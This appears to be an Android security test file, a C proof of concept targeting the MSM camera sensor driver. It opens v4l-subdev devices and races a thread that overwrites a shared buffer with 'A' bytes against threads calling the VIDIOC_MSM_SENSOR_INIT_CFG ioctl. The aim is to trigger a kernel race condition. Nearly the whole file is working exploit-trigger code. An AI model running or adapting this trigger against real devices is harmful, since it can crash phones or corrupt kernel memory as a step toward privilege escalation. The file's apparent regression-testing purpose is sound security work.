1 /** 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 #ifndef _GNU_SOURCE 18 #define _GNU_SOURCE 19 #endif 20 21 #include <string.h> 22 23 #include <android/log.h> 24 #include <dirent.h> 25 #include <dlfcn.h> 26 #include <errno.h> 27 #include <fcntl.h> 28 #include <linux/futex.h> 29 #include <pthread.h> 30 #include <sched.h> 31 #include <signal.h> 32 #include <stdbool.h> 33 #include <stdio.h> 34 #include <stdlib.h> 35 #include <sys/ioctl.h> 36 #include <sys/mman.h> 37 #include <sys/mount.h> 38 #include <sys/ptrace.h> 39 #include <sys/select.h> 40 #include <sys/socket.h> 41 #include <sys/stat.h> 42 #include <sys/syscall.h> 43 #include <sys/system_properties.h> 44 #include <sys/time.h> 45 #include <sys/types.h> 46 #include <sys/un.h> 47 #include <sys/utsname.h> 48 #include <sys/wait.h> 49 #include <unistd.h> 50 51 #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0])) 52 typedef signed char s8; 53 typedef unsigned char u8; 54 55 typedef signed short s16; 56 typedef unsigned short u16; 57 58 typedef signed int s32; 59 typedef unsigned int u32; 60 61 typedef signed long long s64; 62 typedef unsigned long long u64; 63 64 #define MAX_SENSOR_NAME 32 65 #define MAX_POWER_CONFIG 12 66 67 enum sensor_sub_module_t { 68 SUB_MODULE_SENSOR, 69 SUB_MODULE_CHROMATIX, 70 SUB_MODULE_ACTUATOR, 71 SUB_MODULE_EEPROM, 72 SUB_MODULE_LED_FLASH, 73 SUB_MODULE_STROBE_FLASH, 74 SUB_MODULE_CSID, 75 SUB_MODULE_CSID_3D, 76 SUB_MODULE_CSIPHY, 77 SUB_MODULE_CSIPHY_3D, 78 SUB_MODULE_OIS, 79 SUB_MODULE_EXT, 80 SUB_MODULE_MAX, 81 }; 82 83 enum msm_sensor_init_cfg_type_t { 84 CFG_SINIT_PROBE, 85 CFG_SINIT_PROBE_DONE, 86 CFG_SINIT_PROBE_WAIT_DONE, 87 }; 88 89 enum camb_position_t { 90 BACK_CAMERA_B, 91 FRONT_CAMERA_B, 92 AUX_CAMERA_B = 0x100, 93 INVALID_CAMERA_B, 94 }; 95 96 enum msm_sensor_camera_id_t { 97 CAMERA_0, 98 CAMERA_1, 99 CAMERA_2, 100 CAMERA_3, 101 MAX_CAMERAS, 102 }; 103 104 enum i2c_freq_mode_t { 105 I2C_STANDARD_MODE, 106 I2C_FAST_MODE, 107 I2C_CUSTOM_MODE, 108 I2C_CUSTOM1_MODE, 109 I2C_CUSTOM2_MODE, 110 I2C_FAST_PLUS_MODE, 111 I2C_MAX_MODES, 112 }; 113 114 enum msm_camera_i2c_reg_addr_type { 115 MSM_CAMERA_I2C_BYTE_ADDR = 1, 116 MSM_CAMERA_I2C_WORD_ADDR, 117 MSM_CAMERA_I2C_3B_ADDR, 118 MSM_CAMERA_I2C_ADDR_TYPE_MAX, 119 }; 120 121 enum msm_sensor_power_seq_type_t { 122 SENSOR_CLK, 123 SENSOR_GPIO, 124 SENSOR_VREG, 125 SENSOR_I2C_MUX, 126 SENSOR_I2C, 127 }; 128 129 enum msm_sensor_output_format_t { 130 MSM_SENSOR_BAYER, 131 MSM_SENSOR_YCBCR, 132 MSM_SENSOR_META, 133 }; 134 135 struct msm_sensor_init_params { 136 /* mask of modes supported: 2D, 3D */ 137 int modes_supported; 138 /* sensor position: front, back */ 139 enum camb_position_t position; 140 /* sensor mount angle */ 141 unsigned int sensor_mount_angle; 142 }; 143 144 struct msm_sensor_id_info_t { 145 unsigned short sensor_id_reg_addr; 146 unsigned short sensor_id; 147 unsigned short sensor_id_mask; 148 }; 149 150 struct msm_sensor_power_setting { 151 enum msm_sensor_power_seq_type_t seq_type; 152 unsigned short seq_val; 153 long config_val; 154 unsigned short delay; 155 void *data[10]; 156 }; 157 158 struct msm_sensor_power_setting_array { 159 struct msm_sensor_power_setting power_setting_a[MAX_POWER_CONFIG]; 160 struct msm_sensor_power_setting *power_setting; 161 unsigned short size; 162 struct msm_sensor_power_setting power_down_setting_a[MAX_POWER_CONFIG]; 163 struct msm_sensor_power_setting *power_down_setting; 164 unsigned short size_down; 165 }; 166 167 struct msm_sensor_info_t { 168 char sensor_name[MAX_SENSOR_NAME]; 169 uint32_t session_id; 170 int32_t subdev_id[SUB_MODULE_MAX]; 171 int32_t subdev_intf[SUB_MODULE_MAX]; 172 uint8_t is_mount_angle_valid; 173 uint32_t sensor_mount_angle; 174 int modes_supported; 175 enum camb_position_t position; 176 }; 177 178 struct msm_camera_sensor_slave_info { 179 char sensor_name[32]; 180 char eeprom_name[32]; 181 char actuator_name[32]; 182 char ois_name[32]; 183 char flash_name[32]; 184 enum msm_sensor_camera_id_t camera_id; 185 unsigned short slave_addr; 186 enum i2c_freq_mode_t i2c_freq_mode; 187 enum msm_camera_i2c_reg_addr_type addr_type; 188 struct msm_sensor_id_info_t sensor_id_info; 189 struct msm_sensor_power_setting_array power_setting_array; 190 unsigned char is_init_params_valid; 191 struct msm_sensor_init_params sensor_init_params; 192 enum msm_sensor_output_format_t output_format; 193 }; 194 195 struct sensor_init_cfg_data { 196 enum msm_sensor_init_cfg_type_t cfgtype; 197 struct msm_sensor_info_t probed_info; 198 char entity_name[MAX_SENSOR_NAME]; 199 union { 200 void *setting; 201 } cfg; 202 }; 203 204 typedef s16 compat_short_t; 205 typedef s32 compat_int_t; 206 typedef s32 compat_long_t; 207 typedef s64 compat_s64; 208 typedef u16 compat_ushort_t; 209 typedef u32 compat_uint_t; 210 typedef u32 compat_ulong_t; 211 typedef u64 compat_u64; 212 typedef u32 compat_uptr_t; 213 214 struct msm_sensor_power_setting32 { 215 enum msm_sensor_power_seq_type_t seq_type; 216 uint16_t seq_val; 217 compat_uint_t config_val; 218 uint16_t delay; 219 compat_uptr_t data[10]; 220 }; 221 222 struct msm_sensor_power_setting_array32 { 223 struct msm_sensor_power_setting32 power_setting_a[MAX_POWER_CONFIG]; 224 compat_uptr_t power_setting; 225 uint16_t size; 226 struct msm_sensor_power_setting32 power_down_setting_a[MAX_POWER_CONFIG]; 227 compat_uptr_t power_down_setting; 228 uint16_t size_down; 229 }; 230 231 struct msm_camera_sensor_slave_info32 { 232 char sensor_name[32]; 233 char eeprom_name[32]; 234 char actuator_name[32]; 235 char ois_name[32]; 236 char flash_name[32]; 237 enum msm_sensor_camera_id_t camera_id; 238 uint16_t slave_addr; 239 enum i2c_freq_mode_t i2c_freq_mode; 240 enum msm_camera_i2c_reg_addr_type addr_type; 241 struct msm_sensor_id_info_t sensor_id_info; 242 struct msm_sensor_power_setting_array32 power_setting_array; 243 uint8_t is_init_params_valid; 244 struct msm_sensor_init_params sensor_init_params; 245 enum msm_sensor_output_format_t output_format; 246 }; 247 248 #define BASE_VIDIOC_PRIVATE 192 249 #define VIDIOC_MSM_SENSOR_INIT_CFG \ 250 _IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct sensor_init_cfg_data) 251 252 struct msm_camera_sensor_slave_info32 slave_info; 253 int fd; 254 255 static void *raceCondition(void *param) { 256 while (1) { 257 memset(&slave_info, 'A', sizeof(slave_info)); 258 usleep(50); 259 } 260 } 261 262 static void *normalfunc(void *param) { 263 while (1) { 264 struct sensor_init_cfg_data cfg; 265 cfg.cfgtype = CFG_SINIT_PROBE; 266 267 cfg.cfg.setting = &slave_info; 268 slave_info.camera_id = CAMERA_2; 269 slave_info.power_setting_array.size = 1; 270 271 struct msm_sensor_power_setting power_setting; 272 273 slave_info.power_setting_array.size_down = MAX_POWER_CONFIG; 274 275 struct msm_sensor_power_setting pd[MAX_POWER_CONFIG]; 276 slave_info.power_setting_array.power_down_setting = 0; 277 278 slave_info.eeprom_name[31] = 0; 279 slave_info.actuator_name[31] = 0; 280 slave_info.ois_name[31] = 0; 281 slave_info.sensor_name[31] = 0; 282 slave_info.flash_name[31] = 0; 283 slave_info.i2c_freq_mode = 0x0; 284 int ret = ioctl(fd, VIDIOC_MSM_SENSOR_INIT_CFG, &cfg); 285 } 286 } 287 288 int function1() { 289 char filename[32] = {0}; 290 for (int i = 0; i < 32; i++) { 291 if (snprintf(filename, sizeof(filename), "/dev/v4l-subdev%d", i) < 0) { 292 exit(EXIT_FAILURE); 293 } 294 295 fd = open(filename, 2); 296 if (fd < 0) { 297 continue; 298 } 299 300 pthread_t raceConditionthread; 301 for (int i = 0; i < 1; i++) { 302 if (pthread_create(&raceConditionthread, NULL, raceCondition, NULL)) 303 perror("raceConditionthread raceConditionthread()"); 304 } 305 306 pthread_t normalthread; 307 for (int i = 0; i < 3; i++) { 308 if (pthread_create(&normalthread, NULL, normalfunc, NULL)) 309 perror("normalfunc normalfunc()"); 310 } 311 } 312 return 0; 313 } 314 315 int main(int argc, char **argv, char **env) { return function1(); } 316